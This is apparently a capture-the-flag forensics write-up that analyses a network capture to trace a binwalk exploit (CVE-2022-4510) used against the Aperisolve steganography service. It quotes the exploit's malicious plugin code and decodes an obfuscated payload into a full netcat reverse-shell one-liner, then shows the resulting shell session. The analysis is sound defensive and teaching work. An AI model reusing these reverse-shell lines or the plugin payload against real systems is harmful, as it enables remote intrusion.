Midnight Flag 2023

Time 6 minute read

Detection and analysis of a RCE on Aperisolve through a binwalk vulnerability.

The 3rd edition of the Midnight Flag took place during the night of the 15th of April 2023. I participated with the Arn’Hack Team and we managed to get 2nd place out of the 369 participating teams. We put up a fight all night, but it wasn’t enough to finish first :)

In this article I will do the write-up of a Forensics challenge made by Itarow that I found quite original. It was rated medium, had 12 solves and ended up being worth 479 points (starting at 500 points).

Since the discovery of the confidential report, the track of the hacking of the plane has been privileged. During the study of the list of passengers present, the name of one of our agents came up. He was on a mission for the French services, and remains of his computer recovered at the crash site incriminate him. Malaysian investigators suspect that France played a role in the plane crash. To honor the memory of our lost agent and defuse the situation, you must provide evidence that the French government is innocent in this matter. According to our information, the attacker compromised the agent’s PC before he boarded the plane. A network dump of the airport’s public wifi was performed before boarding. Find out what the attacker did! Your goal is to find the CVE used by the attacker, the command he executed that allowed him to gain access to the French agent’s machine, and the command he executed on the machine.

Format: MCTF{md5sum(remote access command)-CVE-XXXX-XXXX-md5sum(executed command)}  
Exemple : MCTF{5e9d4a951a32db927a03eef04c86e9aa-CVE-2023-1337-1b0679be72ad976ad5d491ad57a5eec0}

We are provided with a pcap file. Let’s take a look with wireshark to get a grasp of what we are working with.

After looking at the list of HTTP objects that wireshark provides for us, I recognized a few file names that made me think of the tool Aperisolve. It’s a pretty well known steganography tool, that takes an image as input, and passes it through the most known tools.

I checked my theory like this:

$ strings capture.pcap | grep -i aperisolve
        <meta name="Keywords" content="AperiSolve, Ap
                --><div class="menu_item"><a href="https://github.com/Zeecka/AperiSolve" target="_blank">Github</a></div><!--
          https://aperisolve.com/install.sh)" &&<br/>
          aperisolve &lt;file&gt;
...

I was right. Let’s move on to finding the CVE used by the attacker.

My first instinct was to list the tools used by Aperisolve, and google them for CVEs. Indeed, most of them are relativly small tools, and I didn’t expect to find a lot of results.

The tools it runs are:

  • zsteg
  • steghide
  • outguess
  • exiftool
  • binwalk
  • foremost
  • strings A few of these to ols had known CVEs, but only two that led to RCE: exiftool and binwalk.

I quickly stumbled on CVE-2022-4510 that exploits binwalk. The exploit script creates an image and puts the payload inside. That means that if this exploit was used, the attacker at some point uploaded an image with this payload inside:

lines = ['import binwalk.core.plugin\n',
  'import os\n',
  'import shutil\n',
  'class MaliciousExtractor(binwalk.core.plugin.Plugin):\n',
  '    def init(self):\n',
  '        if not os.path.exists("/tmp/.binwalk"):\n',
  '            os.system("nc ',str(args.ip)+' ',str(args.port)+' ',
  '-e /bin/bash 2>/dev/null &")\n',
  '            with open("/tmp/.binwalk", "w") as f:\n',
  '                f.write("1")\n',
  '        else:\n',
  '            os.remove("/tmp/.binwalk")\n',
  '            os.remove(os.path.abspath(__file__))\n',
  '            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']

Let’s see is any of those keywords are present as such in the network capture.

I searched for a string (import binwalk.core.plugin) and used the “Follow HTTP stream function” to look at the traffic.

Looking for traces of the CVE in the capture
Looking for traces of the CVE in the capture

This looks like our payload, even if some changes were made to it.

Our flag so far: MCTF{md5sum(remote access command)-CVE-2022-4510-md5sum(executed command)}

This is were some changes were made to the initial payload.

exec(bytes(".............................................","u16")[2:])

The points are bytes that wireshark couldn’t convert to readable characters, it’s the actual payload (I removed a few for readibility).

For those of you who have done a bit of python shortcode challenges, you will have recognised the well known pattern that allows to shorten python payloads, by doing some dark utf-8/utf-16 conversions: https://clemg.github.io/pythongolfer/.

Now how to reverse this process? There is a clean, and a not so clean way to do it. In the rush of the CTF I did it the ugly way, but I’ll present the clean one just after.

First let’s extract the actual bytes as hex values. Just right click on the packet in wireshark, and use “Copy > as a Hex Stream”, and just keep the payload by keeping only everything between bytes(" and ","u16") excluded.

>>> startBlock = b'bytes("'.hex()
>>> startIndex = hexstream.index(startBlock)+len(startBlock)
>>> endBlock = b'","u16")'.hex()
>>> endIndex = hexstream.index(endBlock)
>>> hexstream[startIndex:endIndex]
'e6b5a9e6bdb0e791b2e6bca0e3adb3e78dafe78caee78db9e695b4e2a1ade788a7e281ade790afe781ade7a0afe6b4bbe699abe699a9e281afe790afe781ade7a0afe68cbbe791a1e2bca0e6b5b4e2bdb0e7b1b8e688afe6b9a9e78cafe281a8e6a4ade388a0e298bee7b0b1e68daee384a0e388b7e388aee2b8b0e2b8b0e280b3e3a0b8e3a0b8e3b8a0e790afe781ade7a0afe2a4a7'

Now how to get the original source code ? The messy way looked like this for me:

>>> eval(bytes.fromhex("e6b5a9e6bdb0e791b2e6bca0e3adb3e78dafe78caee78db9e695b4e2a1ade788a7e281ade790afe781ade7a0afe6b4bbe699abe699a9e281afe790afe781ade7a0afe68cbbe791a1e2bca0e6b5b4e2bdb0e7b1b8e688afe6b9a9e78cafe281a8e6a4ade388a0e298bee7b0b1e68daee384a0e388b7e388aee2b8b0e2b8b0e280b3e3a0b8e3a0b8e3b8a0e790afe781ade7a0afe2a4a7"))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1
    浩潰瑲漠㭳獯献獹整⡭爧琯灭砯活晫晩琯灭砯挻瑡⼠浴⽰籸戯湩猯⁨椭㈠☾簱据ㄠ㈷㈮⸰⸰″㠸㠸㸠琯灭砯⤧
             ^
SyntaxError: invalid character '⡭' (U+286D)

Running this as python code will cause it to crash, and give us the line that crashed.

Let’s convert that like it is done in the exploit:

>>> bytes("浩潰瑲漠㭳獯献獹整⡭爧琯灭砯活晫晩琯灭砯挻瑡⼠浴⽰籸戯湩猯⁨椭㈠☾簱据ㄠ㈷㈮⸰⸰″㠸㠸㸠琯灭砯⤧","u16")[2:]
b"import os;os.system('rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 172.20.0.3 8888 >/tmp/x')"

Now here is the cleaner way to do it, by reversing the encoding scheme used by the python golfing tool.

def ungolf(hexstream):
    b = bytes.fromhex(hexstream) ## Convert the hex representation of the payload to bytes
    utf8 = b.decode("utf-8") ## Decode to utf-8 (the chineses characters)
    utf16 = bytes(utf8, "u16") ## Convert to bytes but as utf-16
    return utf16[2:].decode()
>>> ungolf("e6b5a9e6bdb0e791b2e6bca0e3adb3e78dafe78caee78db9e695b4e2a1ade788a7e281ade790afe781ade7a0afe6b4bbe699abe699a9e281afe790afe781ade7a0afe68cbbe791a1e2bca0e6b5b4e2bdb0e7b1b8e688afe6b9a9e78cafe281a8e6a4ade388a0e298bee7b0b1e68daee384a0e388b7e388aee2b8b0e2b8b0e280b3e3a0b8e3a0b8e3b8a0e790afe781ade7a0afe2a4a7")
"import os;os.system('rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 172.20.0.3 8888 >/tmp/x')"

We have the command used to access the server! Let’s convert this to the appropriate format, and get to the last part of the flag.

$ echo -n "import os;os.system('rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 172.20.0.3 8888 >/tmp/x')" | md5sum 
569549187fda1d65e8072cc9c786db2c

Our flag so far: MCTF{569549187fda1d65e8072cc9c786db2c-CVE-2022-4510-md5sum(executed command)}

Now that we know the IP used by the attacker, and which port he used, we can easily filter our network capture to only display the traffic that involved this IP/port combination. It will match the traffic the attacker generated once he got his reverse shell.

$ tshark -r capture.pcap -Y "ip.addr == 172.20.0.3 && tcp.port == 8888" -T fields -e data | xxd -r -ps
/bin/sh: can't access tty; job control turned off
/app/modules ## /bin/sh: can't access tty; job control turned off
/app/modules ## /bin/sh: can't access tty; job control turned off
/app/modules ## echo 'PWNEEEEEEEEEEDDDDDDD woooot'
PWNEEEEEEEEEEDDDDDDD woooot
/app/modules #

Note that I piped the tshark result into xxd because tshark actually outputs that bytes as hex.

The command is echo 'PWNEEEEEEEEEEDDDDDDD woooot'!

$ echo -n "echo 'PWNEEEEEEEEEEDDDDDDD woooot'" | md5sum                                                                  
3da77eba11fada55018d9b5889650716

The flag is : MCTF{569549187fda1d65e8072cc9c786db2c-CVE-2022-4510-3da77eba11fada55018d9b5889650716}

It was in my opinion a great challenge. Nothing to fancy and actually classical at the core, which allowed me to solve it pretty easily even without being a forensic wizard, but the scenario was quite original and had some intersting elements.

Thank you to everyone who worked on that CTF, and of course to my team which fought throughout the night!